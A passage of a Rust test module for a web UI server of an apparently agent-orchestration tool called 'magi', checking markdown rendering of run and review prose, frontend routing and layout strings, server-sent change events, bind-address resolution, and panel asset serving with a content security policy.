12050 "synthesis": "- one\n- **two**\n\n`code`",
12051 }))
12052 .unwrap(),
12053 );
12054 state.candidates = serde_json::from_value(serde_json::json!([
12055 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12056 "summary": "did **it**"},
12057 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12058 ]))
12059 .unwrap();
12060 state.reviews = serde_json::from_value(serde_json::json!([{
12063 "round": 1, "head": "h",
12064 "reviews": [{
12065 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12066 "findings": [
12067 {"severity": "nit", "title": "t1", "detail": "plain nit"},
12068 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12069 ],
12070 }],
12071 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12072 "fix": {"agent": "a", "notes": "fixed **it**",
12073 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12074 }, {"round": 2, "head": "h2", "reviews": []}]))
12075 .unwrap();
12076
12077 let v = serde_json::to_value(RunDetailView::of(
12078 state,
12079 crate::run::Liveness::Unknown,
12080 None,
12081 None,
12082 None,
12083 ))
12084 .unwrap();
12085
12086 let strong = |p: &str| {
12087 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12088 assert!(n.to_string().contains("strong"), "{p}: {n}");
12089 };
12090 strong("/advice_md/synthesis");
12091 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12092 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12093 strong("/advice_md/approaches/0");
12094 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12095 strong("/candidate_summaries_md/0");
12096 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12097 strong("/reviews_md/0/reviewers/0/summary");
12098 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12099 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12100 assert!(f[1].to_string().contains("strong"));
12101 strong("/reviews_md/0/reconsideration/0");
12102 strong("/reviews_md/0/fix/notes");
12103 strong("/reviews_md/0/fix/rejected/0");
12104 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12105 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12106 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12108 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12109 }
12110
12111 #[test]
12112 fn a_run_without_advice_has_no_advice_md() {
12113 let state = RunState::new(
12114 std::path::PathBuf::from("/repo"),
12115 "main".to_owned(),
12116 "abc".to_owned(),
12117 "x".to_owned(),
12118 crate::config::Config::default(),
12119 );
12120 let p = run_prose_md(&state);
12121 assert!(p.advice_md.is_none());
12122 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12123 }
12124
12125 #[test]
12126 fn a_question_view_carries_markdown_for_each_thread_turn() {
12127 let home = TempDir::new().unwrap();
12128 let store = ask::Questions::at(home.path().join("questions"));
12129 let mut q = Question::new(
12130 "run".to_owned(),
12131 "implement".to_owned(),
12132 "impl-A".to_owned(),
12133 "which?".to_owned(),
12134 String::new(),
12135 Vec::new(),
12136 );
12137 q.say("plain words").unwrap();
12138 q.reply("use **this**", Vec::new()).unwrap();
12139 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12140 let bodies = &v["thread_bodies_md"];
12141 assert_eq!(bodies.as_array().unwrap().len(), 2);
12142 assert!(!bodies[0].to_string().contains("strong"));
12143 assert!(bodies[1].to_string().contains("strong"));
12144 }
12145
12146 #[test]
12147 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12148 let home = TempDir::new().unwrap();
12149 let store = ask::Questions::at(home.path().join("questions"));
12150 let mut q = Question::new(
12151 "run".to_owned(),
12152 "conduct".to_owned(),
12153 "conduct".to_owned(),
12154 "which?".to_owned(),
12155 String::new(),
12156 Vec::new(),
12157 );
12158 q.say("plain words").unwrap();
12159 q.thread.push(ask::Turn {
12160 who: ask::Who::Agent,
12161 body: "Settled as `merge`".to_owned(),
12162 at: jiff::Timestamp::now(),
12163 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12164 });
12165 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12166 let notes = &v["thread_notes_md"];
12167 assert_eq!(notes.as_array().unwrap().len(), 2);
12168 assert!(notes[0].is_null());
12169 let text = notes[1].to_string();
12170 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12171 assert!(APP_JS.contains("ask-turn-note"));
12172 }
12173
12174 #[test]
12175 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12176 assert!(APP_JS.contains("function landView(run, raw) {"));
12180 assert!(
12181 APP_JS.contains(
12182 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12183 )
12184 );
12185 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12186 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12187 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12188 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12189 }
12190
12191 #[test]
12192 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12193 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12194 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12195 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12196 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12197 }
12198
12199 #[test]
12200 fn review_rounds_label_a_distinct_verified_head() {
12201 assert!(APP_JS.contains("round.verified_head"));
12202 assert!(APP_JS.contains("verified HEAD"));
12203 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12204 }
12205
12206 #[test]
12207 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12208 assert!(APP_JS.contains("blocked: { glyph:"));
12212 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12213
12214 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12218 assert!(
12219 APP_JS.contains(
12220 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12221 ),
12222 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12223 );
12224 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12228
12229 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12233 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12234 assert!(
12235 APP_JS.contains("location.hash = \"#/questions\";"),
12236 "a question node must jump to the Questions screen, not pretend to be a task"
12237 );
12238
12239 assert!(APP_JS.contains("Resolved questions"));
12242 assert!(APP_JS.contains("r.answersList.append("));
12243 assert!(APP_CSS.contains(".task-answers"));
12244 {
12245 let start = APP_JS
12246 .find("function updateTalkTaskRow")
12247 .expect("updateTalkTaskRow");
12248 let body = &APP_JS[start..];
12249 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12250 assert!(
12251 body.contains(
12252 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12253 ),
12254 "a chat-filed task row must link to the task page"
12255 );
12256 assert!(
12257 !body.contains("#/runs/") && !body.contains("#/queue/"),
12258 "the row must not branch to a run or the queue card"
12259 );
12260 assert!(APP_CSS.contains(".talk-task-link"));
12261 }
12262 }
12263
12264 #[test]
12265 fn a_task_notification_links_to_the_task_page() {
12266 let start = APP_JS
12268 .find("function noticeLink(")
12269 .expect("noticeLink exists");
12270 let body = &APP_JS[start..];
12271 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12272 assert!(
12273 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12274 "a task notice's link must target the task page"
12275 );
12276 assert!(
12277 !body.contains("#/queue/"),
12278 "regression: the task link must not go back to the Backlog route"
12279 );
12280 assert!(
12281 APP_JS.contains(
12282 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12283 ),
12284 "`#/tasks/<id>` must parse into the task route"
12285 );
12286
12287 assert!(
12289 APP_JS.contains(
12290 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12291 ),
12292 "`#/queue/<id>` must parse into a route carrying that id"
12293 );
12294
12295 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12299 assert!(APP_JS.contains("function consumeQueueFocus()"));
12300 assert!(APP_JS.contains("jumpToTask(id)"));
12301 }
12302
12303 #[test]
12306 fn chat_rows_put_the_title_alone_on_the_first_line() {
12307 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12308 assert!(APP_CSS.contains(
12309 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12310 ));
12311 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12312 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12313 }
12314
12315 #[test]
12316 fn run_rows_put_the_title_alone_on_the_first_line() {
12317 assert!(
12318 APP_CSS.contains(
12319 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12320 )
12321 );
12322 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12323 assert!(APP_JS.contains("class: \"card run-card\""));
12324 assert!(APP_JS.contains("class: \"repo run-id\""));
12325 }
12326
12327 #[test]
12331 fn wide_screens_show_list_and_preview_side_by_side() {
12332 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12334 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12335 assert!(APP_CSS.contains("main[data-split]"));
12336 assert!(APP_CSS.contains("body[data-split]"));
12337
12338 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12340 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12341 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12342 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12343 assert!(INDEX_HTML.contains("id=\"split-empty\""));
12344
12345 assert!(APP_JS.contains("function markSelected() {"));
12347 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12348 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12349 assert!(
12351 APP_CSS.contains(
12352 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12353 )
12354 );
12355
12356 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12358 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12359 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12360 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12361
12362 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12366 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12367 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12368 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12369
12370 assert!(APP_JS.contains("sandbox: \"\""));
12372 assert!(!APP_JS.contains("sandbox: \"allow"));
12373 }
12374
12375 #[test]
12376 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12377 assert!(
12386 APP_JS.contains(
12387 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
12388 ),
12389 "the search-clearing branch must run before state.queueFocus is cleared, or the \
12390 recursive renderQueue() call has nothing left to jump to"
12391 );
12392 assert!(
12393 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12394 "state.queueFocus must be cleared only once the jump has landed, so a card that \
12395 arrives later still gets it"
12396 );
12397 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12398 assert!(APP_JS.contains("is not in the current Backlog."));
12399 assert!(APP_JS.contains("li.card[data-task-id=\""));
12400 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12401 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12402 assert!(APP_CSS.contains(".card-permalink"));
12403 assert!(APP_CSS.contains(".queue-focus-status"));
12404 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12405 }
12406
12407 #[test]
12408 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12409 assert!(
12417 APP_JS.contains(
12418 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12419 ),
12420 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12421 );
12422 }
12423
12424 #[test]
12425 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12426 assert!(
12427 APP_JS.contains("round.verified_head !== round.head"),
12428 "a round that verified an earlier commit must be visibly distinct from one that \
12429 verified the head reviewers are looking at now"
12430 );
12431 assert!(
12432 APP_JS.contains("round.verified_at"),
12433 "when a check ran must be on the wire, not just which commit"
12434 );
12435 assert!(
12436 APP_JS.contains("resource_blocked"),
12437 "a command magi never got to run (shared build cache contention) must not render \
12438 the same as a command that ran and failed"
12439 );
12440 }
12441
12442 #[test]
12443 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12444 assert!(
12452 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12453 "every KPI tile built through statusTile() must route its click through \
12454 openRunsFiltered, the single place that sets the Runs filter"
12455 );
12456 for (label, status) in [
12457 ("Merged", "merged"),
12458 ("Ready", "ready"),
12459 ("Blocked", "blocked"),
12460 ("Stalled", "stalled"),
12461 ] {
12462 let call = format!("statusTile(\"{label}\", t.{status}, ");
12463 assert!(
12464 APP_JS.contains(&call),
12465 "expected the {label} KPI tile built via {call}..."
12466 );
12467 assert!(
12468 APP_JS.contains(&format!("status === \"{status}\"")),
12469 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12470 compare a run against, not one invented only for the stats tile"
12471 );
12472 }
12473 assert!(
12474 APP_JS.contains("function openRunsFiltered(status)"),
12475 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12476 );
12477 assert!(
12478 APP_JS.contains(
12479 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12480 ),
12481 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12482 );
12483 assert!(
12491 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
12492 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12493 hashchange event that may never fire"
12494 );
12495 }
12496
12497 #[test]
12498 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12499 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12505 assert!(
12506 APP_JS.contains(
12507 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
12508 ),
12509 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12510 guard for an incompatible tree section"
12511 );
12512 }
12513
12514 #[test]
12515 fn every_stats_queue_tile_names_a_real_queue_section() {
12516 assert!(
12522 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12523 "every queue tile built through sectionTile() must route its click through \
12524 openQueueSectionFocus"
12525 );
12526 for key in ["upnext", "running", "done", "held", "blocked"] {
12527 assert!(
12528 APP_JS.contains(&format!("{{ key: \"{key}\",")),
12529 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12530 );
12531 }
12532 for line in [
12536 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12537 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12538 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12539 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12540 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12541 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12542 ] {
12543 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12544 }
12545 }
12546
12547 #[test]
12548 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12549 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12556 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12557 assert!(APP_JS.contains("function revealQueueSection(details)"));
12558 assert!(
12559 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
12560 "renderQueue() must consume both focus channels on every pass"
12561 );
12562 assert!(
12563 APP_JS.contains(
12564 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
12565 ),
12566 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12567 the recursive renderQueue() call has nothing left to reveal"
12568 );
12569 assert!(
12570 APP_JS.contains(
12571 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
12572 ),
12573 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12574 );
12575 assert!(
12583 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
12584 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12585 hashchange event that may never fire"
12586 );
12587 }
12588
12589 #[tokio::test]
12590 async fn the_change_stream_announces_the_current_revisions_on_connect() {
12591 let f = Fixture::start().await;
12592
12593 let mut socket = tokio::net::TcpStream::connect(f.addr)
12594 .await
12595 .expect("connect");
12596 socket
12597 .write_all(
12598 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12599 )
12600 .await
12601 .expect("write request");
12602
12603 let mut seen = String::new();
12606 let mut buf = [0u8; 1024];
12607 while !seen.contains("event: change") {
12608 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12609 .await
12610 .expect("the stream must speak within five seconds")
12611 .expect("read");
12612 assert!(read > 0, "the server closed the change stream: {seen}");
12613 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12614 }
12615
12616 assert!(
12617 seen.to_lowercase()
12618 .contains("content-type: text/event-stream"),
12619 "the browser only reconnects automatically for a real SSE stream: {seen}"
12620 );
12621 let data = seen
12622 .lines()
12623 .find_map(|l| l.strip_prefix("data:"))
12624 .expect("a data line");
12625 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12626 assert!(
12627 payload["queue_rev"].is_u64()
12628 && payload["runs_rev"].is_u64()
12629 && payload["questions_rev"].is_u64()
12630 && payload["talks_rev"].is_u64()
12631 && payload["notifications_rev"].is_u64()
12632 && payload["loop_rev"].is_u64(),
12633 "the client needs one revision per store to know what to refetch, \
12634 and `talks_rev` is the only notification a standing talk gets - a \
12635 phone whose radio slept through a turn learns about it here, as \
12636 does one whose operator started the loop from another device: \
12637 {payload}"
12638 );
12639
12640 let health = f.get("/api/health").await.json();
12647 for key in [
12648 "queue_rev",
12649 "runs_rev",
12650 "questions_rev",
12651 "talks_rev",
12652 "notifications_rev",
12653 "loop_rev",
12654 ] {
12655 assert!(
12656 health[key].is_u64(),
12657 "health is the change stream's fallback and is missing `{key}`: {health}"
12658 );
12659 }
12660 }
12661
12662 #[tokio::test]
12663 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12664 let f = Fixture::start().await;
12665 let before = f.get("/api/health").await.json()["talks_rev"]
12666 .as_u64()
12667 .expect("talks_rev");
12668
12669 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12670 std::thread::sleep(Duration::from_millis(10));
12671 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
12672 on_disk.turns.push(crate::talk::Turn {
12673 who: crate::talk::Who::Operator,
12674 body: "a new turn".to_owned(),
12675 at: Timestamp::now(),
12676 attachments: Vec::new(),
12677 usage: None,
12678 });
12679 f.talks().put(&mut on_disk).expect("record a turn");
12680
12681 let after = f.get("/api/health").await.json()["talks_rev"]
12682 .as_u64()
12683 .expect("talks_rev");
12684 assert_ne!(
12685 before, after,
12686 "a phone must be able to notice a talk's reply without polling every store"
12687 );
12688 }
12689
12690 #[test]
12691 fn bind_reads_back_from_the_spelling_the_cli_prints() {
12692 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
12696 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
12697 }
12698 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
12699 assert!("everywhere".parse::<Bind>().is_err());
12700 }
12701
12702 #[test]
12703 fn an_explicit_bind_address_is_taken_verbatim() {
12704 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
12705
12706 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
12707
12708 assert_eq!(addr, asked);
12709 assert!(
12710 warning.is_none(),
12711 "an operator who named an address gets no lecture"
12712 );
12713 }
12714
12715 #[test]
12716 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
12717 let (addr, warning) = resolve_bind(&Bind::Auto);
12718
12719 match addr {
12726 IpAddr::V4(ip) if is_tailnet(&ip) => {
12727 assert!(warning.is_none(), "a tailnet address needs no warning");
12728 }
12729 other => {
12730 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
12731 let warning = warning.expect("a fallback has to explain itself");
12732 assert!(
12733 warning.contains("127.0.0.1") && warning.contains("local-only"),
12734 "the warning says what happened and what it costs: {warning}"
12735 );
12736 }
12737 }
12738 }
12739
12740 #[test]
12741 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
12742 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
12746 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
12747 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
12748 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
12749 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
12750 }
12751
12752 #[test]
12753 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
12754 let ids = vec![
12755 "20260902-140501-aaaa".to_owned(),
12756 "20260902-140502-aabb".to_owned(),
12757 ];
12758
12759 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
12760 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
12761 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
12762
12763 assert_eq!(missing.status, StatusCode::NOT_FOUND);
12764 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
12765 assert_eq!(short, "20260902-140502-aabb");
12766 }
12767 #[tokio::test]
12768 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
12769 let fx = Fixture::start().await;
12775 let id = panel(
12776 &fx,
12777 "<img src=\"shot.png\">",
12778 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
12779 );
12780
12781 let doc = fx
12783 .get(&format!("/api/questions/{id}/panel/index.html"))
12784 .await;
12785 assert_eq!(doc.status, 200, "{}", doc.body);
12786 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
12787
12788 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
12789 assert_eq!(sibling.status, 200, "{}", sibling.body);
12790 assert_eq!(sibling.header("content-type"), Some("image/png"));
12791 assert_eq!(
12792 sibling.header("content-security-policy"),
12793 Some(PANEL_CSP),
12794 "the sibling route must carry the same policy as the asset route"
12795 );
12796
12797 assert_eq!(
12800 fx.head(&format!("/api/questions/{id}/panel")).await.status,
12801 200
12802 );
12803 }
12804
12805 #[test]
12806 fn delta_stamps_cover_add_update_remove_and_noop() {
12807 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
12808 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
12809 let delta = diff_stamps(&before, &after, 42);
12810 assert_eq!(delta.base, 42);
12811 assert_eq!(delta.changed, ["b", "c"]);
12812 assert_eq!(delta.removed, ["a"]);
12813 let same = diff_stamps(&after, &after, 43);
12814 assert!(same.changed.is_empty() && same.removed.is_empty());
12815 assert_ne!(stamps_revision(&before), stamps_revision(&after));
12816 let nanos: Stamps = [("b".into(), (2, 20))].into();
12817 let same_ms: Stamps = [("b".into(), (3, 20))].into();
12818 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
12819 assert_eq!(stamps_revision(&Stamps::new()), 0);
12820 }
12821
12822 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
12823 std::fs::create_dir_all(home.join("runs")).unwrap();
12824 Arc::new(Ui::new(
12825 Queue::at(home.join("queue")),
12826 Questions::at(home.join("questions")),
12827 Talks::at(home.join("talks")),
12828 home.join("runs"),
12829 home.to_owned(),
12830 PathBuf::from("/repo/magi"),
12831 ))
12832 }
12833
12834 #[tokio::test]
12835 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
12836 let home = TempDir::new().unwrap();
12837 let ui = delta_test_ui(home.path());
12838 let mut task = Task::new(
12839 "stream task".into(),
12840 "text".into(),
12841 PathBuf::from("/repo"),
12842 Source::Human,
12843 );
12844 ui.queue.put(&mut task).unwrap();
12845 let response = events(State(ui.clone())).await.into_response();
12846 let mut stream = response.into_body().into_data_stream();
12847 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
12848 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
12849 .await
12850 .unwrap()
12851 .unwrap()
12852 .unwrap();
12853 let text = String::from_utf8(chunk.to_vec()).unwrap();
12854 let data = text
12855 .lines()
12856 .find_map(|line| {
12857 line.strip_prefix("data: ")
12858 .or_else(|| line.strip_prefix("data:"))
12859 })
12860 .unwrap();
12861 serde_json::from_str(data).unwrap()
12862 }
12863 let initial = change(&mut stream).await;
12864 assert!(initial.get("queue_delta").is_none());
12865 task.instruction.push_str(" changed");
12866 ui.queue.put(&mut task).unwrap();
12867 let updated = change(&mut stream).await;
12868 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
12869 assert_eq!(
12870 updated["queue_delta"]["changed"],
12871 serde_json::json!([task.id])
12872 );
12873 assert_eq!(
12874 updated["queue_rev"].as_u64(),
12875 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
12876 );
12877 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
12878 let removed = change(&mut stream).await;
12879 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
12880 assert_eq!(
12881 removed["queue_delta"]["removed"],
12882 serde_json::json!([task.id])
12883 );
12884 }
12885
12886 #[tokio::test]
12887 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
12888 let home = TempDir::new().unwrap();
12889 let ui = delta_test_ui(home.path());
12890 let queue = ui.queue.clone();
12891 let query = |ids: Option<&str>| {
12892 Query(ListQuery {
12893 limit: Some(2),
12894 ids: ids.map(str::to_owned),
12895 })
12896 };
12897 let mut root = Task::new(
12898 "root".into(),
12899 "instruction".into(),
12900 PathBuf::from("/repo"),
12901 Source::Human,
12902 );
12903 queue.put(&mut root).unwrap();
12904 let mut blocked = Task::new(
12905 "blocked".into(),
12906 "instruction".into(),
12907 PathBuf::from("/repo"),
12908 Source::Human,
12909 );
12910 blocked.block(vec![root.id.clone()], None);
12911 queue.put(&mut blocked).unwrap();
12912 let whole =
12913 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
12914 .unwrap();
12915 let subset = serde_json::to_value(
12916 queue_list(State(ui.clone()), query(Some(&root.id)))
12917 .await
12918 .unwrap()
12919 .0,
12920 )
12921 .unwrap();
12922 assert_eq!(whole, subset, "requested root plus its blocked dependent");
12923 let blockers = serde_json::to_value(
12924 queue_list(State(ui.clone()), query(Some("")))
12925 .await
12926 .unwrap()
12927 .0,
12928 )
12929 .unwrap();
12930 assert_eq!(blockers.as_array().unwrap().len(), 1);
12931 assert_eq!(blockers[0]["id"], blocked.id);
12932 assert_eq!(
12933 blockers[0]["waits_on"],
12934 whole
12935 .as_array()
12936 .unwrap()
12937 .iter()
12938 .find(|row| row["id"] == blocked.id)
12939 .unwrap()["waits_on"]
12940 );
12941
12942 for id in [
12943 "20260902-140501-aaaa",
12944 "20260902-140502-bbbb",
12945 "20260902-140503-cccc",
12946 ] {
12947 write_run(&ui.runs, id, RunStatus::Merged);
12948 }
12949 let old = serde_json::to_value(
12950 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
12951 .await
12952 .unwrap()
12953 .0,
12954 )
12955 .unwrap();
12956 assert!(
12957 old.as_array().unwrap().is_empty(),
12958 "older updates must not enter the window"
12959 );
12960 let newest = serde_json::to_value(
12961 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
12962 .await
12963 .unwrap()
12964 .0,
12965 )
12966 .unwrap();
12967 assert_eq!(newest.as_array().unwrap().len(), 1);
12968 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
12969
12970 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
12971 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
12972 let talks = serde_json::to_value(
12973 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
12974 .await
12975 .unwrap()
12976 .0,
12977 )
12978 .unwrap();
12979 assert_eq!(talks.as_array().unwrap().len(), 1);
12980 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
12981 assert_eq!(
12982 serde_json::to_value(
12983 talks_list(State(ui.clone()), query(Some("")))
12984 .await
12985 .unwrap()
12986 .0
12987 )
12988 .unwrap(),
